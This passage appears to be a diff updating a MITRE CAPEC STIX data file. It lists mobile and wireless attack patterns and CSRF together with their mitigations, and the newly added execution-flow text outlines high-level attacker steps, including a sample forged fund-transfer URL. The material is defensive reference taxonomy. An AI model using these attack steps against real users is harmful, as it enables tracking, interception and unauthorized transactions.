"course-of-action--8fc9e23c-7780-4d34-8bd6-01ec3f063b9c", "relationship_type": "mitigates", "target_ref": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14" }, { + "id": "attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4", "name": "Cellular Data Injection", "description": "Adversaries inject data into mobile technology traffic (data flows or signaling data) to disrupt communications or conduct additional surveillance operations.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37289,11 +40875,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--24c2c0ad-9606-42ff-bdd0-8c0cb09d28a2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37302,23 +40888,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Commercial defensive technology to detect and alert to any attempts to modify mobile technology data flows or to inject new data into existing data flows and signaling data.", - "type": "course-of-action", - "id": "course-of-action--24c2c0ad-9606-42ff-bdd0-8c0cb09d28a2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4bbed6d4-6c57-4da2-ad62-002452b7960c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4bbed6d4-6c57-4da2-ad62-002452b7960c", "source_ref": "course-of-action--24c2c0ad-9606-42ff-bdd0-8c0cb09d28a2", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5cd5231-d7ef-4366-b713-a44d3f1134b4" }, { + "id": "attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2", "name": "BitSquatting", "description": "An adversary registers a domain name one bit different than a trusted domain. A BitSquatting attack leverages random errors in memory to direct Internet traffic to adversary-controlled destinations. BitSquatting requires no exploitation or complicated reverse engineering, and is operating system and architecture agnostic. Experimental observations show that BitSquatting popular websites could redirect non-trivial amounts of Internet traffic to a malicious entity.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37354,12 +40942,13 @@ ] }, "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the BitSquatted URL.

    2. Techniques
    Register the BitSquatted domain.

Exploit

  1. Wait for a user to visit the domain: Finally, the adversary simply waits for a user to be unintentionally directed to the BitSquatted domain.

    2. Techniques
    Simply wait for an error in memory to occur, redirecting the user to the malicious domain.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -37368,23 +40957,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Authenticate all servers and perform redundant checks when using DNS hostnames.", - "type": "course-of-action", - "id": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0d8b1972-e844-4991-a884-ca3e967a6e8d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0d8b1972-e844-4991-a884-ca3e967a6e8d", "source_ref": "course-of-action--ba0348be-410d-4fe9-bf0e-bb5e48d5af8b", "relationship_type": "mitigates", "target_ref": "attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2" }, { + "id": "course-of-action--cc9894cb-c83c-4f22-8ef6-9a2a3187b948", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -37393,23 +40984,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "When possible, use error-correcting (ECC) memory in local devices as non-ECC memory is significantly more vulnerable to faults.", - "type": "course-of-action", - "id": "course-of-action--cc9894cb-c83c-4f22-8ef6-9a2a3187b948" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--70115677-16f7-4e4f-9e75-85108f13258f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--70115677-16f7-4e4f-9e75-85108f13258f", "source_ref": "course-of-action--cc9894cb-c83c-4f22-8ef6-9a2a3187b948", "relationship_type": "mitigates", "target_ref": "attack-pattern--a69b641a-dff7-4dad-b9b1-e00f80b083a2" }, { + "id": "attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e", "name": "WiFi MAC Address Tracking", "description": "In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37444,11 +41037,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1a9dbae9-4209-42ff-bcb4-52af76ceb770", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -37457,23 +41050,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Automatic randomization of WiFi MAC addresses", - "type": "course-of-action", - "id": "course-of-action--1a9dbae9-4209-42ff-bcb4-52af76ceb770" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ada034dd-bae1-45e0-992d-43931ede09d7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ada034dd-bae1-45e0-992d-43931ede09d7", "source_ref": "course-of-action--1a9dbae9-4209-42ff-bcb4-52af76ceb770", "relationship_type": "mitigates", "target_ref": "attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e" }, { + "id": "course-of-action--520b5a77-564b-4186-aadd-6e795b0bb798", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -37482,23 +41077,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Frequent changing of handset and retransmission device", - "type": "course-of-action", - "id": "course-of-action--520b5a77-564b-4186-aadd-6e795b0bb798" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--42428530-f329-4129-baf4-f136e130d080", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--42428530-f329-4129-baf4-f136e130d080", "source_ref": "course-of-action--520b5a77-564b-4186-aadd-6e795b0bb798", "relationship_type": "mitigates", "target_ref": "attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e" }, { + "id": "attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088", "name": "WiFi SSID Tracking", "description": "In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37533,11 +41130,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5f1ca11f-4c92-41c1-84e6-0f6af4787884", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37546,23 +41143,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not enable the feature of \"Hidden SSIDs\" (also known as \"Network Cloaking\") \u2013 this option disables the usual broadcasting of the SSID by the access point, but forces the mobile handset to send requests on all supported radio channels which contains the SSID. The result is that tracking of the mobile device becomes easier since it is transmitting the SSID more frequently.", - "type": "course-of-action", - "id": "course-of-action--5f1ca11f-4c92-41c1-84e6-0f6af4787884" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--54e6bbee-8421-4ac9-ab72-d13af56bbbca", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--54e6bbee-8421-4ac9-ab72-d13af56bbbca", "source_ref": "course-of-action--5f1ca11f-4c92-41c1-84e6-0f6af4787884", "relationship_type": "mitigates", "target_ref": "attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088" }, { + "id": "course-of-action--22c53c7d-593e-4ede-b12d-dad35f67f7e3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37571,23 +41170,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Frequently change the SSID to new and unrelated values", - "type": "course-of-action", - "id": "course-of-action--22c53c7d-593e-4ede-b12d-dad35f67f7e3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7cf4d3c7-8a07-460e-866b-2475c9ee85bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7cf4d3c7-8a07-460e-866b-2475c9ee85bb", "source_ref": "course-of-action--22c53c7d-593e-4ede-b12d-dad35f67f7e3", "relationship_type": "mitigates", "target_ref": "attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088" }, { + "id": "attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286", "name": "Rooting SIM Cards", "description": "SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37631,11 +41232,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--49c4d0f1-127a-4f39-943e-6ee56dcac7d2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37644,23 +41245,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Upgrade the SIM card to use the state-of-the-art AES or the somewhat outdated 3DES algorithm for OTA.", - "type": "course-of-action", - "id": "course-of-action--49c4d0f1-127a-4f39-943e-6ee56dcac7d2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--73c5c39c-480b-411a-8be5-0ffe26aedee8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--73c5c39c-480b-411a-8be5-0ffe26aedee8", "source_ref": "course-of-action--49c4d0f1-127a-4f39-943e-6ee56dcac7d2", "relationship_type": "mitigates", "target_ref": "attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286" }, { + "id": "attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5", "name": "Evil Twin Wi-Fi Attack", "description": "Adversaries install Wi-Fi equipment that acts as a legitimate Wi-Fi network access point. When a device connects to this access point, Wi-Fi data traffic is intercepted, captured, and analyzed. This also allows the adversary to act as a \"man-in-the-middle\" for all communications.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37692,11 +41295,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--bdc16c0d-ad88-4a92-8a0c-efd29aad181b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37705,23 +41308,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Commercial defensive technology that monitors for rogue Wi-Fi access points, man-in-the-middle attacks, and anomalous activity with the mobile device baseband radios.", - "type": "course-of-action", - "id": "course-of-action--bdc16c0d-ad88-4a92-8a0c-efd29aad181b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--dc14c97a-553a-4fa1-977e-549a2770d674", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dc14c97a-553a-4fa1-977e-549a2770d674", "source_ref": "course-of-action--bdc16c0d-ad88-4a92-8a0c-efd29aad181b", "relationship_type": "mitigates", "target_ref": "attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5" }, { + "id": "attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727", "name": "Establish Rogue Location", "description": "An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37729,7 +41334,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -37740,6 +41345,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "User Execution:Malicious File", + "url": "https://attack.mitre.org/wiki/Technique/T1204/002", + "external_id": "T1204.002" } ], "x_capec_likelihood_of_attack": "Medium", @@ -37760,19 +41371,19 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--fff5e678-9e98-4e12-b054-119ff429e214", "name": "Cellular Rogue Base Station", - "description": "In this attack scenario, the attacker imitates a cellular base station with his own \"rogue\" base station equipment. Since cellular devices connect to whatever station has the strongest signal, the attacker can easily convince a targeted cellular device (e.g. the retransmission device) to talk to the rogue base station.", + "description": "In this attack scenario, the attacker imitates a cellular base station with their own \"rogue\" base station equipment. Since cellular devices connect to whatever station has the strongest signal, the attacker can easily convince a targeted cellular device (e.g. the retransmission device) to talk to the rogue base station.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -37794,36 +41405,38 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--fff5e678-9e98-4e12-b054-119ff429e214" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--b183808c-b043-46e6-a10a-acb7644ea511", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-617-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Passively monitor cellular network connection for real-time threat detection and logging for manual review.", - "type": "course-of-action", - "id": "course-of-action--b183808c-b043-46e6-a10a-acb7644ea511" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c58917b8-55ad-4997-bfa1-356553087aa1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c58917b8-55ad-4997-bfa1-356553087aa1", "source_ref": "course-of-action--b183808c-b043-46e6-a10a-acb7644ea511", "relationship_type": "mitigates", "target_ref": "attack-pattern--fff5e678-9e98-4e12-b054-119ff429e214" }, { + "id": "attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7", "name": "Cellular Broadcast Message Request", "description": "In this attack scenario, the attacker uses knowledge of the target\u2019s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target\u2019s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37864,11 +41477,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--272a376e-ec84-4fcd-abb5-00cba0e3c7e0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -37877,23 +41490,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Frequent changing of mobile number.", - "type": "course-of-action", - "id": "course-of-action--272a376e-ec84-4fcd-abb5-00cba0e3c7e0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--79aff368-471d-46f4-803b-6584f3497601", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--79aff368-471d-46f4-803b-6584f3497601", "source_ref": "course-of-action--272a376e-ec84-4fcd-abb5-00cba0e3c7e0", "relationship_type": "mitigates", "target_ref": "attack-pattern--3b775ca7-4c1d-4078-bc7b-29907b9596f7" }, { + "id": "attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5", "name": "Signal Strength Tracking", "description": "In this attack scenario, the attacker passively monitors the signal strength of the target\u2019s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37920,11 +41535,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d", "name": "Cross Site Request Forgery", "description": "An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply \"riding\" the existing session cookie.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37932,7 +41547,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -37964,6 +41579,11 @@ "url": "http://cwe.mitre.org/data/definitions/716.html", "external_id": "CWE-716" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1275.html", + "external_id": "CWE-1275" + }, { "source_name": "reference_from_CAPEC", "description": "Thomas Schreiber, Session Riding: A Widespread Vulnerability in Today's Web Applications, SecureNet GmbH", @@ -37999,114 +41619,123 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "\n While a user is logged into his bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.\n The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.\n The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail." + "\n While a user is logged into their bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.\n The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.\n The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Explore target website: The attacker first explores the target website to determine pieces of functionality that are of interest to them (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts.

    2. Techniques
    Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server
    Use network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server
    View HTML source of web pages that contain links or buttons that perform actions of interest.

Experiment

  1. Create a link that when clicked on, will execute the interesting functionality.: The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc.

    2. Techniques
    Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000)
    Create a form that will submit a POST request (e.g.

Exploit

  1. Convince user to click on link: Finally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack.

    2. Techniques
    Execute a phishing attack and send the user an e-mail convincing them to click on a link.
    Execute a stored XSS attack on a website to permanently embed the malicious link into the website.
    Execute a stored XSS attack on a website where an XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link.
    Include the malicious link on the attackers' own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--97c0cee2-43b4-4e35-a822-c2af1fda128d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-62-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use cryptographic tokens to associate a request with a specific action. The token can be regenerated at every request so that if a request with an invalid token is encountered, it can be reliably discarded. The token is considered invalid if it arrived with a request other than the action it was supposed to be associated with.", - "type": "course-of-action", - "id": "course-of-action--97c0cee2-43b4-4e35-a822-c2af1fda128d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--05c63f5d-bdef-4967-b173-43a3dc629b9d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--05c63f5d-bdef-4967-b173-43a3dc629b9d", "source_ref": "course-of-action--97c0cee2-43b4-4e35-a822-c2af1fda128d", "relationship_type": "mitigates", "target_ref": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d" }, { + "id": "course-of-action--f8e25c6a-17e6-4418-8da8-1a56576657f3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-62-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Although less reliable, the use of the optional HTTP Referrer header can also be used to determine whether an incoming request was actually one that the user is authorized for, in the current context.", - "type": "course-of-action", - "id": "course-of-action--f8e25c6a-17e6-4418-8da8-1a56576657f3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3e4e7c46-5802-4623-bfb2-726d5643649a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", 